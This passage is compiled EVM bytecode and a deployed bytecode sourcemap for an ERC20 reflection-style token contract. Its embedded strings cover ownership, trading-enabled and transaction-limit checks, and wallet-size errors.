490919063ffffffff16565b600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122d48260065461215a90919063ffffffff16565b6006819055506122ef816007546121a490919063ffffffff16565b6007819055505050565b6000806000806123256064612317888a61241890919063ffffffff16565b611dca90919063ffffffff16565b9050600061234f6064612341888b61241890919063ffffffff16565b611dca90919063ffffffff16565b905060006123788261236a858c61215a90919063ffffffff16565b61215a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123a8858961241890919063ffffffff16565b905060006123bf868961241890919063ffffffff16565b905060006123d6878961241890919063ffffffff16565b905060006123ff826123f1858761215a90919063ffffffff16565b61215a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080830361242a576000905061248c565b60008284612438919061330f565b90508284826124479190613272565b14612487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247e906133c3565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124cc5780820151818401526020810190506124b1565b60008484015250505050565b6000601f19601f8301169050919050565b60006124f482612492565b6124fe818561249d565b935061250e8185602086016124ae565b612517816124d8565b840191505092915050565b6000602082019050818103600083015261253c81846124e9565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125798261254e565b9050919050565b6125898161256e565b811461259457600080fd5b50565b6000813590506125a681612580565b92915050565b6000819050919050565b6125bf816125ac565b81146125ca57600080fd5b50565b6000813590506125dc816125b6565b92915050565b600080604083850312156125f9576125f8612544565b5b600061260785828601612597565b9250506020612618858286016125cd565b9150509250929050565b60008115159050919050565b61263781612622565b82525050565b6000602082019050612652600083018461262e565b92915050565b6000819050919050565b600061267d6126786126738461254e565b612658565b61254e565b9050919050565b600061268f82612662565b9050919050565b60006126a182612684565b9050919050565b6126b181612696565b82525050565b60006020820190506126cc60008301846126a8565b92915050565b6126db816125ac565b82525050565b60006020820190506126f660008301846126d2565b92915050565b60008060006060848603121561271557612714612544565b5b600061272386828701612597565b935050602061273486828701612597565b9250506040612745868287016125cd565b9150509250925092565b600060ff82169050919050565b6127658161274f565b82525050565b6000602082019050612780600083018461275c565b92915050565b60006020828403121561279c5761279b612544565b5b60006127aa848285016125cd565b91505092915050565b60006127be8261254e565b9050919050565b6127ce816127b3565b82525050565b60006020820190506127e960008301846127c5565b92915050565b60006020828403121561280557612804612544565b5b600061281384828501612597565b91505092915050565b6128258161256e565b82525050565b6000602082019050612840600083018461281c565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261286b5761286a612846565b5b8235905067ffffffffffffffff8111156128885761288761284b565b5b6020830191508360208202830111156128a4576128a3612850565b5b9250929050565b6128b481612622565b81146128bf57600080fd5b50565b6000813590506128d1816128ab565b92915050565b6000806000604084860312156128f0576128ef612544565b5b600084013567ffffffffffffffff81111561290e5761290d612549565b5b61291a86828701612855565b9350935050602061292d868287016128c2565b9150509250925092565b6000806040838503121561294e5761294d612544565b5b600061295c85828601612597565b925050602061296d85828601612597565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129ad60208361249d565b91506129b882612977565b602082019050919050565b600060208201905081810360008301526129dc816129a0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a4c826125ac565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a7e57612a7d612a12565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612ae560268361249d565b9150612af082612a89565b604082019050919050565b60006020820190508181036000830152612b1481612ad8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b7760248361249d565b9150612b8282612b1b565b604082019050919050565b60006020820190508181036000830152612ba681612b6a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c0960228361249d565b9150612c1482612bad565b604082019050919050565b60006020820190508181036000830152612c3881612bfc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c9b60238361249d565b9150612ca682612c3f565b604082019050919050565b60006020820190508181036000830152612cca81612c8e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d2d60258361249d565b9150612d3882612cd1565b604082019050919050565b60006020820190508181036000830152612d5c81612d20565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612dbf60298361249d565b9150612dca82612d63565b604082019050919050565b60006020820190508181036000830152612dee81612db2565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612e51603f8361249d565b9150612e5c82612df5565b604082019050919050565b60006020820190508181036000830152612e8081612e44565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612ebd601c8361249d565b9150612ec882612e87565b602082019050919050565b60006020820190508181036000830152612eec81612eb0565b9050919050565b6000612efe826125ac565b9150612f09836125ac565b9250828201905080821115612f2157612f20612a12565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612f8360238361249d565b9150612f8e82612f27565b604082019050919050565b60006020820190508181036000830152612fb281612f76565b9050919050565b6000612fc4826125ac565b9150612fcf836125ac565b9250828203905081811115612fe757612fe6612a12565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613049602a8361249d565b915061305482612fed565b604082019050919050565b600060208201905081810360008301526130788161303c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506130bd81612580565b92915050565b6000602082840312156130d9576130d8612544565b5b60006130e7848285016130ae565b91505092915050565b6000819050919050565b600061311561311061310b846130f0565b612658565b6125ac565b9050919050565b613125816130fa565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131608161256e565b82525050565b60006131728383613157565b60208301905092915050565b6000602082019050919050565b60006131968261312b565b6131a08185613136565b93506131ab83613147565b8060005b838110156131dc5781516131c38882613166565b97506131ce8361317e565b9250506001810190506131af565b5085935050505092915050565b600060a0820190506131fe60008301886126d2565b61320b602083018761311c565b818103604083015261321d818661318b565b905061322c606083018561281c565b61323960808301846126d2565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061327d826125ac565b9150613288836125ac565b92508261329857613297613243565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006132d9601b8361249d565b91506132e4826132a3565b602082019050919050565b60006020820190508181036000830152613308816132cc565b9050919050565b600061331a826125ac565b9150613325836125ac565b9250828202613333816125ac565b9150828204841483151761334a57613349612a12565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006133ad60218361249d565b91506133b882613351565b604082019050919050565b600060208201905081810360008301526133dc816133a0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636549726f6e4d616e4361707461696e416d6572696361446f63746f72537472616e6765426c61636b5769646f7754686f72416e742d4d616e4361707461696e4d617276656c486f726e6574426c61636b50616e7468657248756c6b4861776b657965537461722d4c6f726457696e746572536f6c64696572517569636b73696c766572566973696f6e536361726c6574576974636846616c636f6e44657374726f796572526f636b6574526163636f6f6e47726f6f74a26469706673582212207c4ec15d61720eac83733f3d6e1ff79a2cca9f23133317638f3e4078a62cdb8764736f6c63430008130033
Deployed Bytecode Sourcemap
4241:12842:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6563:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7942:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4294:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6986:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7281:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5137:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6749:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9212:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8585:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16958:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6840:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3195:148;;;;;;;;;;;;;:::i;:::-;;16825:125;;;;;;;;;;;;;:::i;:::-;;11490:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3108:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6654:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7735:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5077:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10049:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5201:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4342:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8484:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7089:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2582:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6563:83;6600:13;6633:5;;;;;;;;;;;;;;;;;6626:12;;6563:83;:::o;7942:193::-;8044:4;8066:39;8075:12;:10;:12::i;:::-;8089:7;8098:6;8066:8;:39::i;:::-;8123:4;8116:11;;7942:193;;;;:::o;4294:41::-;;;;;;;;;;;;;:::o;6986:95::-;7039:7;4954:21;7059:14;;6986:95;:::o;7281:446::-;7413:4;7430:36;7440:6;7448:9;7459:6;7430:9;:36::i;:::-;7477:220;7500:6;7521:12;:10;:12::i;:::-;7548:138;7604:6;7548:138;;;;;;;;;;;;;;;;;:11;:19;7560:6;7548:19;;;;;;;;;;;;;;;:33;7568:12;:10;:12::i;:::-;7548:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7477:8;:220::i;:::-;7715:4;7708:11;;7281:446;;;;;:::o;5137:56::-;;;;:::o;6749:83::-;6790:5;4911:1;6808:16;;6749:83;:::o;9212:127::-;2507:12;:10;:12::i;:::-;2497:22;;:6;;;;;;;;;;:22;;;2489:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9313:18:::1;9296:14;:35;;;;9212:127:::0;:::o;8585:96::-;;;;;;;;;;;;;:::o;16958:122::-;2507:12;:10;:12::i;:::-;2497:22;;:6;;;;;;;;;;:22;;;2489:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17038:4:::1;17020:15;;:22;;;;;;;;;;;;;;;;;;17067:5;17053:11;;:19;;;;;;;;;;;;;;;;;;16958:122:::0;:::o;6840:138::-;6906:7;6933:37;6953:7;:16;6961:7;6953:16;;;;;;;;;;;;;;;;6933:19;:37::i;:::-;6926:44;;6840:138;;;:::o;3195:148::-;2507:12;:10;:12::i;:::-;2497:22;;:6;;;;;;;;;;:22;;;2489:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3302:1:::1;3265:40;;3286:6;::::0;::::1;;;;;;;;3265:40;;;;;;;;;;;;3333:1;3316:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3195:148::o:0;16825:125::-;2507:12;:10;:12::i;:::-;2497:22;;:6;;;;;;;;;;:22;;;2489:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4954:21:::1;16877:15;:25;;;;4954:21;16913:19;:29;;;;16825:125::o:0;11490:128::-;11542:10;11555:17;;;;;;;;;;;11542:30;;11583:27;11594:2;11598;4954:21;11583:10;:27::i;:::-;11531:87;11490:128;:::o;3108:79::-;3146:7;3173:6;;;;;;;;;;;3166:13;;3108:79;:::o;6654:87::-;6693:13;6726:7;;;;;;;;;;;;;;;;;6719:14;;6654:87;:::o;7735:199::-;7840:4;7862:42;7872:12;:10;:12::i;:::-;7886:9;7897:6;7862:9;:42::i;:::-;7922:4;7915:11;;7735:199;;;;:::o;5077:52::-;;;;:::o;10049:234::-;2507:12;:10;:12::i;:::-;2497:22;;:6;;;;;;;;;;:22;;;2489:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10166:9:::1;10162:114;10185:8;;:15;;10181:1;:19;10162:114;;;10256:8;10222:18;:31;10241:8;;10250:1;10241:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10222:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;10202:3;;;;;:::i;:::-;;;;10162:114;;;;10049:234:::0;;;:::o;5201:47::-;;;;:::o;4342:26::-;;;;;;;;;;;;;:::o;8484:94::-;;;;;;;;;;;;;:::o;7089:184::-;7206:7;7238:11;:18;7250:5;7238:18;;;;;;;;;;;;;;;:27;7257:7;7238:27;;;;;;;;;;;;;;;;7231:34;;7089:184;;;;:::o;2582:244::-;2507:12;:10;:12::i;:::-;2497:22;;:6;;;;;;;;;;:22;;;2489:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2691:1:::1;2671:22;;:8;:22;;::::0;2663:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2781:8;2752:38;;2773:6;::::0;::::1;;;;;;;;2752:38;;;;;;;;;;;;2810:8;2801:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2582:244:::0;:::o;1520:101::-;1573:7;1603:10;1596:17;;1520:101;:::o;12320:369::-;12464:1;12447:19;;:5;:19;;;12439:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12545:1;12526:21;;:7;:21;;;12518:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12627:6;12597:11;:18;12609:5;12597:18;;;;;;;;;;;;;;;:27;12616:7;12597:27;;;;;;;;;;;;;;;:36;;;;12665:7;12649:32;;12658:5;12649:32;;;12674:6;12649:32;;;;;;:::i;:::-;;;;;;;;12320:369;;;:::o;13934:2474::-;14070:1;14056:16;;:2;:16;;;14048:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;14148:1;14132:18;;:4;:18;;;14124:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14220:1;14211:6;:10;14203:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;14304:7;:5;:7::i;:::-;14296:15;;:4;:15;;;;:46;;;;;14335:7;:5;:7::i;:::-;14329:13;;:2;:13;;;;14296:46;14278:1351;;;14407:15;;;;;;;;;;;14402:210;;14481:7;:5;:7::i;:::-;14473:15;;:4;:15;;;14443:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;14402:210;14644:15;;14634:6;:25;;14626:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;14716:11;;;;;;;;;;;14710:17;;:2;:17;;;14707:167;;14781:19;;14772:6;14756:13;14766:2;14756:9;:13::i;:::-;:22;;;;:::i;:::-;:44;14748:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;14707:167;14890:27;14920:24;14938:4;14920:9;:24::i;:::-;14890:54;;15055:15;;15032:19;:38;15029:83;;15095:15;;15073:37;;15029:83;15132:12;;;;;;;;;;;:53;;;;;15171:14;;15148:19;:37;;15132:53;:89;;;;;15208:13;;;;;;;;;;;15207:14;15132:89;:130;;;;;15251:11;;;;;;;;;;;15243:19;;:4;:19;;;;15132:130;:177;;;;;15285:18;:24;15304:4;15285:24;;;;;;;;;;;;;;;;;;;;;;;;;15284:25;15132:177;:222;;;;;15332:18;:22;15351:2;15332:22;;;;;;;;;;;;;;;;;;;;;;;;;15331:23;15132:222;15128:490;;;15389:29;15398:19;15389:8;:29::i;:::-;15437:20;15460:21;15437:44;;15519:1;15504:12;:16;15500:103;;;15545:38;15561:21;15545:15;:38::i;:::-;15500:103;15370:248;15128:490;14354:1275;14278:1351;15641:13;15657:4;15641:20;;15718:18;:24;15737:4;15718:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;15746:18;:22;15765:2;15746:22;;;;;;;;;;;;;;;;;;;;;;;;;15718:50;15717:98;;;;15782:11;;;;;;;;;;;15774:19;;:4;:19;;;;:40;;;;;15803:11;;;;;;;;;;;15797:17;;:2;:17;;;;15774:40;15717:98;15699:642;;;15853:5;15842:16;;15699:642;;;15934:11;;;;;;;;;;;15926:19;;:4;:19;;;:67;;;;;15977:15;;;;;;;;;;;15963:30;;:2;:30;;;;15926:67;15923:178;;;16027:16;;16014:10;:29;;;;16072:13;;16062:7;:23;;;;15923:178;16158:11;;;;;;;;;;;16152:17;;:2;:17;;;:68;;;;;16204:15;;;;;;;;;;;16188:32;;:4;:32;;;;16152:68;16148:182;;;16254:17;;16241:10;:30;;;;16300:14;;16290:7;:24;;;;16148:182;15699:642;16351:49;16373:4;16379:2;16383:6;16391:8;16351:21;:49::i;:::-;14037:2371;13934:2474;;;:::o;497:224::-;617:7;650:1;645;:6;;653:12;637:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;677:9;693:1;689;:5;;;;:::i;:::-;677:17;;712:1;705:8;;;497:224;;;;;:::o;16459:323::-;16554:7;16612;;16601;:18;;16579:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;16700:19;16722:10;:8;:10::i;:::-;16700:32;;16750:24;16762:11;16750:7;:11;;:24;;;;:::i;:::-;16743:31;;;16459:323;;;:::o;12701:124::-;12787:30;12796:2;12800:8;12810:6;12787:8;:30::i;:::-;12701:124;;;:::o;8690:466::-;5537:4;5521:13;;:20;;;;;;;;;;;;;;;;;;8759:21:::1;8797:1;8783:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8759:40;;8828:4;8810;8815:1;8810:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;8854:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8844:4;8849:1;8844:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;8887:62;8904:4;8919:15;;;;;;;;;;;8937:11;8887:8;:62::i;:::-;8960:15;;;;;;;;;;;:58;;;9033:11;9059:1;9075:4;9102;9122:15;8960:188;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;8748:408;5580:5:::0;5564:13;;:21;;;;;;;;;;;;;;;;;;8690:466;:::o;9351:289::-;9411:14;9437:1;9428:6;:10;;;;:::i;:::-;9411:27;;9450:19;;;;;;;;;;;:28;;:36;9479:6;9450:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9507:1;9498:6;:10;;;;:::i;:::-;9488:20;;;;;:::i;:::-;;;9519;9542:6;9519:29;;9575:6;9559:22;;;;;:::i;:::-;;;9592:17;;;;;;;;;;;:26;;:40;9619:12;9592:40;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9400:240;;9351:289;:::o;8143:333::-;8306:7;8301:51;;8328:14;:12;:14::i;:::-;8301:51;8363:42;8379:6;8387:9;8398:6;8363:15;:42::i;:::-;8421:7;8416:53;;8443:16;:14;:16::i;:::-;8416:53;8143:333;;;;:::o;9877:164::-;9919:7;9940:15;9957;9976:19;:17;:19::i;:::-;9939:56;;;;10013:20;10025:7;10013;:11;;:20;;;;:::i;:::-;10006:27;;;;9877:164;:::o;1121:132::-;1179:7;1206:39;1210:1;1213;1206:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1199:46;;1121:132;;;;:::o;13457:206::-;13518:1;13504:10;;:15;:31;;;;;13534:1;13523:7;;:12;13504:31;13537:7;13500:44;13570:10;;13554:13;:26;;;;13602:7;;13589:10;:20;;;;13634:1;13621:10;:14;;;;13654:1;13644:7;:11;;;;13457:206;:::o;10409:602::-;10554:15;10584:23;10622:12;10649:23;10687:12;10714:13;10741:19;10752:7;10741:10;:19::i;:::-;10539:221;;;;;;;;;;;;10789:28;10809:7;10789;:15;10797:6;10789:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;10771:7;:15;10779:6;10771:15;;;;;;;;;;;;;;;:46;;;;10849:39;10872:15;10849:7;:18;10857:9;10849:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;10828:7;:18;10836:9;10828:18;;;;;;;;;;;;;;;:60;;;;10899:18;10911:5;10899:11;:18::i;:::-;10919:24;10932:4;10938;10919:12;:24::i;:::-;10976:9;10959:44;;10968:6;10959:44;;;10987:15;10959:44;;;;;;:::i;:::-;;;;;;;;10528:483;;;;;;10409:602;;;:::o;10291:110::-;10349:13;;10336:10;:26;;;;10383:10;;10373:7;:20;;;;10291:110::o;13669:257::-;13720:7;13729;13749:15;13767:7;;13749:25;;13785:15;4954:21;13785:25;;13835:20;4954:21;13835:7;;:11;;:20;;;;:::i;:::-;13825:7;:30;13821:61;;;13865:7;;4954:21;13857:25;;;;;;;;13821:61;13901:7;13910;13893:25;;;;;;13669:257;;;:::o;1259:223::-;1379:7;1411:1;1407;:5;1414:12;1399:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1438:9;1454:1;1450;:5;;;;:::i;:::-;1438:17;;1473:1;1466:8;;;1259:223;;;;;:::o;12833:616::-;12933:7;12955;12977;12999;13021;13043;13079:23;13104:12;13118:13;13148:41;13160:7;13169:10;;13181:7;;13148:11;:41::i;:::-;13078:111;;;;;;13200:19;13222:10;:8;:10::i;:::-;13200:32;;13244:15;13261:23;13286:12;13315:46;13327:7;13336:4;13342:5;13349:11;13315;:46::i;:::-;13243:118;;;;;;13380:7;13389:15;13406:4;13412:15;13429:4;13435:5;13372:69;;;;;;;;;;;;;;;;;;;12833:616;;;;;;;:::o;727:136::-;785:7;812:43;816:1;819;812:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;805:50;;727:136;;;;:::o;312:179::-;370:7;390:9;406:1;402;:5;;;;:::i;:::-;390:17;;431:1;426;:6;;418:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;482:1;475:8;;;312:179;;;;:::o;9652:213::-;9707:19;9729:10;:8;:10::i;:::-;9707:32;;9750:13;9766:22;9776:11;9766:5;:9;;:22;;;;:::i;:::-;9750:38;;9824:33;9851:5;9824:7;:22;9840:4;9824:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;9799:7;:22;9815:4;9799:22;;;;;;;;;;;;;;;:58;;;;9696:169;;9652:213;:::o;12166:148::-;12245:17;12257:4;12245:7;;:11;;:17;;;;:::i;:::-;12235:7;:27;;;;12286:20;12301:4;12286:10;;:14;;:20;;;;:::i;:::-;12273:10;:33;;;;12166:148;;:::o;11017:467::-;11185:7;11207;11229;11264:12;11279:29;11304:3;11279:20;11291:7;11279;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;11264:44;;11319:13;11335:28;11359:3;11335:19;11347:6;11335:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;11319:44;;11374:23;11400:28;11422:5;11400:17;11412:4;11400:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;11374:54;;11447:15;11464:4;11470:5;11439:37;;;;;;;;;11017:467;;;;;;;:::o;11624:534::-;11818:7;11840;11862;11897:15;11915:24;11927:11;11915:7;:11;;:24;;;;:::i;:::-;11897:42;;11950:12;11965:21;11974:11;11965:4;:8;;:21;;;;:::i;:::-;11950:36;;11997:13;12013:22;12023:11;12013:5;:9;;:22;;;;:::i;:::-;11997:38;;12046:23;12072:28;12094:5;12072:17;12084:4;12072:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;12046:54;;12119:7;12128:15;12145:4;12111:39;;;;;;;;;;11624:534;;;;;;;;:::o;869:246::-;927:7;956:1;951;:6;947:47;;981:1;974:8;;;;947:47;1004:9;1020:1;1016;:5;;;;:::i;:::-;1004:17;;1049:1;1044;1040;:5;;;;:::i;:::-;:10;1032:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1106:1;1099:8;;;869:246;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:60::-;3474:3;3495:5;3488:12;;3446:60;;;:::o;3512:142::-;3562:9;3595:53;3613:34;3622:24;3640:5;3622:24;:::i;:::-;3613:34;:::i;:::-;3595:53;:::i;:::-;3582:66;;3512:142;;;:::o;3660:126::-;3710:9;3743:37;3774:5;3743:37;:::i;:::-;3730:50;;3660:126;;;:::o;3792:152::-;3868:9;3901:37;3932:5;3901:37;:::i;:::-;3888:50;;3792:152;;;:::o;3950:183::-;4063:63;4120:5;4063:63;:::i;:::-;4058:3;4051:76;3950:183;;:::o;4139:274::-;4258:4;4296:2;4285:9;4281:18;4273:26;;4309:97;4403:1;4392:9;4388:17;4379:6;4309:97;:::i;:::-;4139:274;;;;:::o;4419:118::-;4506:24;4524:5;4506:24;:::i;:::-;4501:3;4494:37;4419:118;;:::o;4543:222::-;4636:4;4674:2;4663:9;4659:18;4651:26;;4687:71;4755:1;4744:9;4740:17;4731:6;4687:71;:::i;:::-;4543:222;;;;:::o;4771:619::-;4848:6;4856;4864;4913:2;4901:9;4892:7;4888:23;4884:32;4881:119;;;4919:79;;:::i;:::-;4881:119;5039:1;5064:53;5109:7;5100:6;5089:9;5085:22;5064:53;:::i;:::-;5054:63;;5010:117;5166:2;5192:53;5237:7;5228:6;5217:9;5213:22;5192:53;:::i;:::-;5182:63;;5137:118;5294:2;5320:53;5365:7;5356:6;5345:9;5341:22;5320:53;:::i;:::-;5310:63;;5265:118;4771:619;;;;;:::o;5396:86::-;5431:7;5471:4;5464:5;5460:16;5449:27;;5396:86;;;:::o;5488:112::-;5571:22;5587:5;5571:22;:::i;:::-;5566:3;5559:35;5488:112;;::